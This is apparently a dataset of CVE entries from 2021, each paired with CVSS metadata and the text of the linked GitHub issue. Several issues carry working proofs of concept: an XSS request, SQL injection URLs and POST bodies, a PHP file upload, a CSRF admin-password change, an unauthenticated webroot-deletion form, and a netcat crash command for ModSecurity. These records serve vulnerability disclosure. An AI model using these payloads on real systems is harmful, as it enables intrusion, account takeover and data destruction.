``` | Crash on nil-pointer dereference with malformed input | https://api.github.com/repos/russellhaering/gosaml2/issues/59/comments | 7 | 2019-08-14T10:45:18Z | 2022-03-02T23:57:54Z | https://github.com/russellhaering/gosaml2/issues/59 | 480,608,957 | 59 | 1,904 |
CVE-2021-29486 | 2021-04-30T18:15:07.530 | cumulative-distribution-function is an open source npm library used which calculates statistical cumulative distribution function from data array of x values. In versions prior to 2.0.0 apps using this library on improper data may crash or go into an infinite-loop. In the case of a nodejs server-app using this library to act on invalid non-numeric data, the nodejs server may crash. This may affect other users of this server and/or require the server to be rebooted for proper operation. In the case of a browser app using this library to act on invalid non-numeric data, that browser may crash or lock up. A flaw enabling an infinite-loop was discovered in the code for evaluating the cumulative-distribution-function of input data. Although the documentation explains that numeric data is required, some users may confuse an array of strings like ["1","2","3","4","5"] for numeric data [1,2,3,4,5] when it is in fact string data. An infinite loop is possible when the cumulative-distribution-function is evaluated for a given point when the input data is string data rather than type `number`. This vulnerability enables an infinite-cpu-loop denial-of-service-attack on any app using npm:cumulative-distribution-function v1.0.3 or earlier if the attacker can supply malformed data to the library. The vulnerability could also manifest if a data source to be analyzed changes data type from Arrays of number (proper) to Arrays of string (invalid, but undetected by earlier version of the library). Users should upgrade to at least v2.0.0, or the latest version. Tests for several types of invalid data have been created, and version 2.0.0 has been tested to reject this invalid data by throwing a `TypeError()` instead of processing it. Developers using this library may wish to adjust their app's code slightly to better tolerate or handle this TypeError. Apps performing proper numeric data validation before sending data to this library should be mostly unaffected by this patch. The vulnerability can be mitigated in older versions by ensuring that only finite numeric data of type `Array[number]` or `number` is passed to `cumulative-distribution-function` and its `f(x)` function, respectively. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/issues/7"
},
{
"source": "security-advisories@github.com",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/pull/8"
},
{
"source": "security-advisories@github.com",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/security/advisories/GHSA-58qp-5328-v7mh"
},
{
"source": "security-advisories@github.com",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://www.npmjs.com/package/cumulative-distribution-function"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/issues/7"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/pull/8"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/DrPaulBrewer/cumulative-distribution-function/security/advisories/GHSA-58qp-5328-v7mh"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Product",
"Third Party Advisory"
],
"url": "https://www.npmjs.com/package/cumulative-distribution-function"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:cumulative-distribution-function_project:cumulative-distribution-function:*:*:*:*:*:node.js:*:*",
"matchCriteriaId": "5AA93801-1297-4AA6-90FB-F655A0E459E3",
"versionEndExcluding": "2.0.0",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"20"
] | 20 | https://github.com/DrPaulBrewer/cumulative-distribution-function/issues/7 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"DrPaulBrewer",
"cumulative-distribution-function"
] | Hi,
thanks you for providing this package. Given a specific data set we found that the function is stuck in a while loop. This can be reproduced reliably through the following example:
```
const xs = [ "-630", "-602", "-663", "-715", "-588", "-630", "-680", "-570", "-655", "-636", "-620", "-680", "-551", "-528", "-829", "-528", "-642", "-861", "-642", "-829", "-801", "-515", "-708", "-680", "-630", "-663", "-655", "-588", "-776", "-620", "-680", "-843", "-630", "-769", "-663", "-811", "-636", "-751", "-500", "-783", "-708", "-723", "-702", "-671", "-690", "-751", "-611", "-655", "-762", "-756", "-595", "-655", "-702", "-636", "-740", "-490", "-791", "-731", "-636", "-680", "-723", "-731", "-570", "-655", "-642", "-671", "-620", "-696", "-740", "-740", "-690", "-655", "-690", "-829", "-630", "-680", "-708", "-769", "-671", "-636", "-663", "-551", "-801", "-611", "-769", "-801", "-822", "-663", "-776", "-671", "-843", "-630", "-791", "-751", "-680", "-731", "-696", "-690", "-723", "-630", "-791", "-762", "-570", "-731", "-648", "-708", "-811", "-791", "-731", "-811", "-680", "-715", "-731", "-791", "-542", "-611", "-751", "-762", "-740", "-871", "-776", "-740", "-620", "-702", "-769", "-680", "-663", "-671", "-852", "-696", "-630", "-791", "-500", "-611", "-715", "-776", "-648", "-723", "-671", "-801", "-671", "-756", "-751", "-636", "-680", "-663", "-582", "-723", "-756", "-690", "-776", "-582", "-769", "-829", "-811", "-595", "-769", "-671", "-791", "-756", "-769", "-655", "-702", "-769", "-731", "-836", "-671", "-560", "-762", "-723", "-811", "-551", "-801", "-671", "-723", "-801", "-648", "-731", "-769", "-756", "-611", "-801", "-648", "-482", "-636", "-791", "-791", "-769", "-570", "-602", "-811", "-636", "-861", "-861", "-461", "-648", "-690", "-620", "-655", "-663", "-762", "-655", "-811", "-648", "-715", "-756", "-731", "-751", "-776", "-762", "-740", "-756", "-731", "-769", "-751", "-769", "-740", "-791", "-751", "-791", "-751", "-756", "-776", "-756", "-756", "-751", "-783", "-751", "-756", "-756", "-762", "-762", "-582", "-783", "-680", "-811", "-648", "-642", "-690", "-836", "-588", "-769", "-551", "-723", "-811", "-570", "-723", "-690", "-696", "-588", "-636", "-535", "-648", "-690", "-751", "-551", "-588", "-769", "-822", "-642", "-630"]
const cdf = require('cumulative-distribution-function');
const func = cdf(xs)
console.log("hello")
console.log(func(-791))
console.log("done")
```
I hope you find this useful. | cdf never yields result for certain input | https://api.github.com/repos/DrPaulBrewer/cumulative-distribution-function/issues/7/comments | 4 | 2021-04-09T13:36:47Z | 2021-04-29T00:42:56Z | https://github.com/DrPaulBrewer/cumulative-distribution-function/issues/7 | 854,533,246 | 7 | 1,905 |
CVE-2021-31926 | 2021-04-30T20:15:09.363 | AMP Application Deployment Service in CubeCoders AMP 2.1.x before 2.1.1.2 allows a remote, authenticated user to open ports in the local system firewall by crafting an HTTP(S) request directly to the applicable API endpoint (despite not having permission to make changes to the system's network configuration). | {
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"CubeCoders",
"AMP"
] | # Bug Report
## System Information
- Operating System 4.19.0-16-amd64 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux
- AMP version and build date v2.1.0.14, built 08/04/2021 18:11
- Which AMP release stream you're using Mainline
## I confirm:
- [x] that I have searched for an existing bug report for this issue.
- [x] that I am using the latest available version of AMP.
- [x] that my operating system is up-to-date.
<!--
----------------------------
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If you don't follow these instructions and *carefully* check the checkboxes are 100% correct
then your issue will be ignored. You should also remove this comment section when you're done.
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If all 3 boxes above are not confirmed, the issue with be closed as invalid.
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One issue per post! Do not try and bring up multiple requests in a single post.
-->
## Symptoms
* What are you trying to do?
Editing ports of an istance without having the proper permission
* What are you expecting to happen?
That it gives me an error
* What is actually happening? ('Nothing' is not an acceptable answer!)
The port is added without saying anything
## Reproduction
1. I created a Minecraft instance with those settings
2. Created a Test user with the following permissions (the user is not member of any group)
3. Login with a super admin and check the instance ports
4. Login with the Test user, click on the Minecraft Instance and then "Edit ports"
5. Click on the "+" in the dialog and then "Close"
6. Check again the ports with the super admin
7. A new port has been added
On the step 5, if I do "Save changes" it will give me this error
| Can add custom ports without permission | https://api.github.com/repos/CubeCoders/AMP/issues/443/comments | 5 | 2021-04-24T12:42:45Z | 2021-05-17T15:24:03Z | https://github.com/CubeCoders/AMP/issues/443 | 866,737,890 | 443 | 1,906 |
CVE-2020-18084 | 2021-04-30T21:15:08.300 | Cross Site Scripting (XSS) in yzmCMS v5.2 allows remote attackers to execute arbitrary code by injecting commands into the "referer" field of a POST request to the component "/member/index/login.html" when logging in. | {
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"yzmcms",
"yzmcms"
] | xss payload: "><script>alert(1)</script><"
POC:
```
POST /member/index/login.html HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/member/index/login.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Connection: close
Cookie: PHPSESSID=oftdsr44lb7s2kk1nlb3kc40ma; yzmphp_adminid=c1bb6VEBe1g4GWpymTrK1vpiFRYRQO0Wb7ZL5v9d; yzmphp_adminname=2fcfHJ5YyZJO3gJAhaGIeAe8SrWVq-dNRKNJXpzuQe2fh4A
Upgrade-Insecure-Requests: 1
referer="><script>alert(1)</script><"&username=yzmcms&password=yzmcms&dosubmit=%E7%99%BB+%E5%BD%95
```
Execute payload when login is successful
| There is a XSS vulnerability discovered in yzmcms v5.2 | https://api.github.com/repos/yzmcms/yzmcms/issues/9/comments | 1 | 2019-01-25T15:40:33Z | 2021-05-02T12:04:36Z | https://github.com/yzmcms/yzmcms/issues/9 | 403,209,544 | 9 | 1,907 |
CVE-2021-28860 | 2021-05-03T12:15:07.467 | In Node.js mixme, prior to v0.5.1, an attacker can add or alter properties of an object via '__proto__' through the mutate() and merge() functions. The polluted attribute will be directly assigned to every object in the program. This will put the availability of the program at risk causing a potential denial of service (DoS). | {
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"adaltas",
"node-mixme"
] | Hi there,
Can you please contact me by mail?
Thanks. | Urgent matter | https://api.github.com/repos/adaltas/node-mixme/issues/1/comments | 8 | 2021-04-22T09:23:50Z | 2021-05-05T15:13:53Z | https://github.com/adaltas/node-mixme/issues/1 | 864,735,260 | 1 | 1,908 |
CVE-2020-23015 | 2021-05-03T22:15:08.533 | An open redirect issue was discovered in OPNsense through 20.1.5. The redirect parameter "url" in login page was not filtered and can redirect user to any website. | {
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] | **Important notices**
Before you add a new report, we ask you kindly to acknowledge the following:
[x] I have read the contributing guide lines at https://github.com/opnsense/core/blob/master/CONTRIBUTING.md
[x] I have searched the existing issues and I'm convinced that mine is new.
**Describe the bug**
Redirect URL in login page was not filtered and can redirect user to any website.
Attackers can send a URL like `https://<FIREWALL_IP>/?url=http://phishing-site.com/` to firewall user. If user enter the credential and login, he will be redirected to malicious page
**To Reproduce**
Steps to reproduce the behavior:
1. Access `https://<FIREWALL_IP>/?url=http://example.com`
2. Enter the credential.
3. User was redirected to `http://example.com`
**Environment**
OPNsense 20.1-amd64
FreeBSD 11.2-RELEASE-p16-HBSD
OpenSSL 1.1.1d 10 Sep 2019
| URL open redirect leads to phishing attacks | https://api.github.com/repos/opnsense/core/issues/4061/comments | 5 | 2020-04-24T17:37:52Z | 2020-04-27T05:52:19Z | https://github.com/opnsense/core/issues/4061 | 606,476,090 | 4,061 | 1,909 |
CVE-2020-19107 | 2021-05-06T13:15:08.977 | SQL Injection vulnerability in Online Book Store v1.0 via the isbn parameter to edit_book.php, which could let a remote malicious user execute arbitrary code. | {
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"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC:
``` txt
POST /edit_book.php HTTP/1.1
Host: 10.11.33.206:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://10.11.33.206:8888/edit_book.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Connection: close
Upgrade-Insecure-Requests: 1
isbn=xx%27+or+updatexml%281%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29+--+a&save_change=1
```
View source code
<img width="746" alt="1" src="https://user-images.githubusercontent.com/37523122/72596679-49181e00-3947-11ea-8878-081e6800568e.png">
suggest:Please filter input of parameter "isbn"
author:zionlab@dbappsecurity.com.cn
| there is a sql injection vulnerability in edit_book.php parameter "isbn" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/9/comments | 0 | 2020-01-17T08:35:51Z | 2020-01-17T09:07:52Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/9 | 551,277,532 | 9 | 1,910 |
CVE-2020-19108 | 2021-05-06T13:15:09.023 | SQL Injection vulnerability in Online Book Store v1.0 via the pubid parameter to bookPerPub.php, which could let a remote malicious user execute arbitrary code. | {
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"89"
] | 89 | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/10 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC:
http://127.0.0.1:8888/bookPerPub.php?pubid=1' or updatexml(1,concat(0x7e,(version())),0) -- a
View source code bookPerPub.php
<img width="870" alt="1" src="https://user-images.githubusercontent.com/37523122/72597009-d5c2dc00-3947-11ea-8e5e-5fc954d78c07.png">
suggest:Please filter input of parameter "pubid"
author:zionlab@dbappsecurity.com.cn | there is a sql injection vulnerability in bookPerPub.php parameter "pubid" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/10/comments | 0 | 2020-01-17T08:39:23Z | 2020-01-17T08:39:23Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/10 | 551,279,010 | 10 | 1,911 |
CVE-2020-19109 | 2021-05-06T13:15:09.053 | SQL Injection vulnerability in Online Book Store v1.0 via the bookisbn parameter to admin_edit.php, which could let a remote malicious user execute arbitrary code. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC:
http://127.0.0.1:8888/admin_edit.php?bookisbn=1' or updatexml(1,concat(0x7e,(version())),0) -- a
<img width="1394" alt="1" src="https://user-images.githubusercontent.com/37523122/72597474-d6a83d80-3948-11ea-857b-c819559650d9.png">
View source code admin_edit.php
<img width="638" alt="1" src="https://user-images.githubusercontent.com/37523122/72597549-f50e3900-3948-11ea-8902-b66838502ea6.png">
suggest:Please filter input of parameter "bookisbn"
author:zionlab@dbappsecurity.com.cn
| there is a sql injection vulnerability in admin_edit.php parameter "bookisbn" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/12/comments | 0 | 2020-01-17T08:47:24Z | 2020-01-17T08:47:24Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/12 | 551,282,338 | 12 | 1,912 |
CVE-2020-19110 | 2021-05-06T13:15:09.077 | SQL Injection vulnerability in Online Book Store v1.0 via the bookisbn parameter to book.php parameter, which could let a remote malicious user execute arbitrary code. | {
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"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC:
``` txt
http://127.0.0.1:8888/book.php?bookisbn=1' or updatexml(1,concat(0x7e,(version())),0) -- a
```
View source code book.php
<img width="770" alt="1" src="https://user-images.githubusercontent.com/37523122/72597284-6a2d3e80-3948-11ea-86a3-8649d3e04b4a.png">
suggest:Please filter input of parameter "bookisbn"
author:zionlab@dbappsecurity.com.cn | there is a sql injection vulnerability in book.php parameter "bookisbn" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/11/comments | 0 | 2020-01-17T08:43:28Z | 2020-01-17T09:07:14Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/11 | 551,280,656 | 11 | 1,913 |
CVE-2020-19111 | 2021-05-06T13:15:09.103 | Incorrect Access Control vulnerability in Online Book Store v1.0 via admin_verify.php, which could let a remote mailicious user bypass authentication and obtain sensitive information. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
View source code admin_verify.php
<img width="559" alt="1" src="https://user-images.githubusercontent.com/37523122/72598000-e7a57e80-3949-11ea-9f74-e0079768a581.png">
he judgment is that if the query results of login name and password are not the same, the judgment is that the password or user name is wrong
This is obviously wrong. According to this meaning, you can log in successfully as long as the user name and password are matched
We test that the login name is admin password arbitrary
Login succuss!
suggest:Change this code to
if($name != $row['name'] || $pass != $row['pass']){
author:zionlab@dbappsecurity.com.cn | there is a login bypass vulnerability in admin_verify.php | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/14/comments | 0 | 2020-01-17T08:55:48Z | 2020-01-17T08:55:48Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/14 | 551,286,048 | 14 | 1,914 |
CVE-2020-19112 | 2021-05-06T13:15:09.127 | SQL Injection vulnerability in Online Book Store v1.0 via the bookisbn parameter to admin_delete.php, which could let a remote malicious user execute arbitrary code. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC：
``` txt
http://127.0.0.1:8888/admin_delete.php?bookisbn=1' or updatexml(1,concat(0x7e,(version())),0) -- a
```
View source code admin_delete.php
<img width="635" alt="1" src="https://user-images.githubusercontent.com/37523122/72597801-7b2a7f80-3949-11ea-91a9-cb2d73b5c74b.png">
suggest:Please filter input of parameter "bookisbn"
author:zionlab@dbappsecurity.com.cn | there is a sql injection vulnerability in admin_delete.php parameter "bookisbn" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/13/comments | 0 | 2020-01-17T08:51:12Z | 2020-01-17T09:06:19Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/13 | 551,283,993 | 13 | 1,915 |
CVE-2020-19113 | 2021-05-06T13:15:09.153 | Arbitrary File Upload vulnerability in Online Book Store v1.0 in admin_add.php, which may lead to remote code execution. | {
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},
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"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
No login required.
POC:
upload form
``` html
<html>
<form method="post" action="http://127.0.0.1:8888/admin_add.php" enctype="multipart/form-data">
<td><input type="text" name="add" value="1" readOnly="true"></td>
<td><input type="file" name="image"></td>
<input type="submit" name="save" value="upload" class="btn btn-primary">
</form>
</html>
```
or post data
``` txt
POST /admin_add.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/1.html
Content-Type: multipart/form-data; boundary=---------------------------1224355802559658660204724760
Content-Length: 453
Connection: close
Cookie: PHPSESSID=70880fb8e6521683e23cd9479d86610c
Upgrade-Insecure-Requests: 1
-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="add"
1
-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: text/php
<?php
phpinfo();
?>
-----------------------------1224355802559658660204724760
Content-Disposition: form-data; name="save"
upload
-----------------------------1224355802559658660204724760--
```
after you upload your'e file u will find it here /bootstrap/img/1.php
View source code admin_add.php
<img width="891" alt="image" src="https://user-images.githubusercontent.com/37523122/72598574-048e8180-394b-11ea-9dd0-099d0bfe1cae.png">
suggest:Please check upload file.
author:zionlab@dbappsecurity.com.cn | there is a arbitrary file upload in admin_add.php | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/15/comments | 0 | 2020-01-17T09:02:08Z | 2020-01-17T09:03:47Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/15 | 551,288,916 | 15 | 1,916 |
CVE-2020-19114 | 2021-05-06T13:15:09.180 | SQL Injection vulnerability in Online Book Store v1.0 via the publisher parameter to edit_book.php, which could let a remote malicious user execute arbitrary code. | {
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"Exploit",
"Third Party Advisory"
] | github.com | [
"projectworldsofficial",
"online-book-store-project-in-php"
] | version:1.0
POC:
``` txt
POST /edit_book.php HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8888/edit_book.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Connection: close
Upgrade-Insecure-Requests: 1
publisher=xx%27+or+updatexml%281%2Cconcat%280x7e%2C%28version%28%29%29%29%2C0%29%29+--+a&save_change=1
```
<img width="1103" alt="1" src="https://user-images.githubusercontent.com/37523122/72596025-1de0ff00-3946-11ea-9a72-c0cfa78e984b.png">
View source code
<img width="872" alt="1" src="https://user-images.githubusercontent.com/37523122/72596106-479a2600-3946-11ea-9b43-16ccae707db9.png">
suggest:Please filter input of parameter "publisher"
author:zionlab@dbappsecurity.com.cn
| there is a sql injection vulnerability in edit_book.php parameter "publisher" | https://api.github.com/repos/projectworldsofficial/online-book-store-project-in-php/issues/8/comments | 0 | 2020-01-17T08:29:51Z | 2020-01-17T09:05:12Z | https://github.com/projectworldsofficial/online-book-store-project-in-php/issues/8 | 551,275,072 | 8 | 1,917 |
CVE-2021-31409 | 2021-05-06T13:15:12.633 | Unsafe validation RegEx in EmailValidator component in com.vaadin:vaadin-compatibility-server versions 8.0.0 through 8.12.4 (Vaadin versions 8.0.0 through 8.12.4) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses. | {
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}
],
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] | github.com | [
"vaadin",
"framework"
] | The issue #7757 reported yesterday as fixed in 7.7.22 has not been adressed in vaadin compatibility server, yet.
See https://github.com/vaadin/framework/blob/master/compatibility-server/src/main/java/com/vaadin/v7/data/validator/EmailValidator.java
Could you please port the fix and provide a Vaadin 8 release with the appropriate Vaadin 7 compatibility implementation?
Thanks! | Vaadin 7 Compatibility Server - EmailValidator catastrophic exponential-time regular expression | https://api.github.com/repos/vaadin/framework/issues/12240/comments | 0 | 2021-03-12T11:28:18Z | 2021-03-12T16:45:26Z | https://github.com/vaadin/framework/issues/12240 | 830,026,570 | 12,240 | 1,918 |
CVE-2019-25043 | 2021-05-06T17:15:07.870 | ModSecurity 3.x before 3.0.4 mishandles key-value pair parsing, as demonstrated by a "string index out of range" error and worker-process crash for a "Cookie: =abc" header. | {
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] | github.com | [
"SpiderLabs",
"ModSecurity"
] | **Describe the bug**
The connection will be closed due to a "string index out of range" error under certain request.
**Logs and dumps**
```
modsec_1 | terminate called after throwing an instance of 'std::out_of_range'
modsec_1 | what(): basic_string::at: __n (which is 0) >= this->size() (which is 0)
modsec_1 | 2021/05/06 02:53:50 [alert] 1#1: worker process 8 exited on signal 6
```
**To Reproduce**
```bash
echo -e "GET / HTTP/1.0\r\nCookie: =abc\r\n\r\n" | nc MODSECURITY PORT
```
**Server:**
ModSecurity v3 on Nginx 1.17 official base image
--------
[This vulnerability (CVE-2019-25043)](https://nvd.nist.gov/vuln/detail/CVE-2019-25043) is found by [Microsoft WAFLab](https://github.com/microsoft/waflab), an open-source web-based testing platform for WAF (Web Application Firewall)'s correctness, especially ModSecurity and Core Rule Set. WAFLab is developed by senior researcher: [Yang Luo](https://www.microsoft.com/en-us/research/people/yangluo/) and his intern: [Zixuan Guo](https://www.linkedin.com/in/zixuanguo/), both from [Networking Research Group](https://www.microsoft.com/en-us/research/group/networking-research-group-2/), Microsoft Research Asia.
| Cookie with empty key will crash ModSecurity worker process | https://api.github.com/repos/owasp-modsecurity/ModSecurity/issues/2566/comments | 5 | 2021-05-06T03:01:20Z | 2021-05-07T06:06:47Z | https://github.com/owasp-modsecurity/ModSecurity/issues/2566 | 877,026,471 | 2,566 | 1,919 |
CVE-2020-18889 | 2021-05-06T17:15:07.917 | Cross Site Request Forgery (CSRF) vulnerability in puppyCMS v5.1 that can change the admin's password via /admin/settings.php. | {
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] | github.com | [
"choregus",
"puppyCMS"
] | The admin default password is puppycms.
The vuln file is '/puppyCMS/admin/settings.php'.
After the admin logged in, open the following one page.
poc:
csrf.html--change the admin's password
```
<html>
<body>
<h1>
This page forges an HTTP POST request.
</h1>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
var url = "http://127.0.0.1/puppyCMS/admin/settings.php";
fields += "<input type='hidden' name='site_name' value='My Site'>";
fields += "<input type='hidden' name='site_root' value='/'>";
fields += "<input type='hidden' name='password' value='123'>";
fields += "<input type='hidden' name='password-repeat' value='123'>";
fields += "<input type='hidden' name='site_template' value='top-nav-red'>";
fields += "<input type='hidden' name='from_email' value='your@email.com'>";
fields += "<input type='hidden' name='submit[]' value='Submit'>";
post(url,fields);
}
// invoke csrf_hack() after the page is loaded.
window.onload = function() { csrf_hack();}
</script>
</body>
</html>
``` | There is a CSRF vulnerability that can change the admin's password | https://api.github.com/repos/choregus/puppyCMS/issues/13/comments | 0 | 2019-03-27T15:44:47Z | 2019-03-27T15:44:47Z | https://github.com/choregus/puppyCMS/issues/13 | 426,037,651 | 13 | 1,920 |
CVE-2020-18888 | 2021-05-06T18:15:07.963 | Arbitrary File Deletion vulnerability in puppyCMS v5.1 allows remote malicious attackers to delete the file/folder via /admin/functions.php. | {
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/choregus/puppyCMS/issues/15"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/choregus/puppyCMS/issues/15"
}
] | [
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}
] | [
"862"
] | 862 | https://github.com/choregus/puppyCMS/issues/15 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"choregus",
"puppyCMS"
] | The vuln file is '/puppyCMS/admin/functions.php'.
No need to login to admin, open the following one page.
rmexp.html--delete file/folder
```
<html>
<head>
<title>File Upload Form</title>
</head>
<body>
<script>var page = "http://127.0.0.1/puppyCMS/admin/functions.php";</script>
This form allows you to remove /index.php.<br>
<form id="test1" action="" method="post"><br>
<input type='hidden' name="deleteFile" value="index.php" />
<input type='hidden' name="path" value="../" />
<input type="submit" value="Submit">
</form>
<br/>
<br/>
<br/>
This form allows you to remove the entire puppyCMS webroot dirctory.<br>
<form id="test2" action="" method="post"><br>
<input type='hidden' name="deleteFolder" value="../" />
<input type="submit" value="Submit">
</form>
<script>
document.getElementById("test1").action = page;
document.getElementById("test2").action = page;
</script>
</body>
</html>
```
| There is a Arbitrary File Deletion vulnerability that can remove everything without admin login. | https://api.github.com/repos/choregus/puppyCMS/issues/15/comments | 0 | 2019-03-27T15:55:43Z | 2019-03-27T16:45:08Z | https://github.com/choregus/puppyCMS/issues/15 | 426,043,978 | 15 | 1,921 |
CVE-2020-18890 | 2021-05-06T18:15:07.997 | Rmote Code Execution (RCE) vulnerability in puppyCMS v5.1 due to insecure permissions, which could let a remote malicious user getshell via /admin/functions.php. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
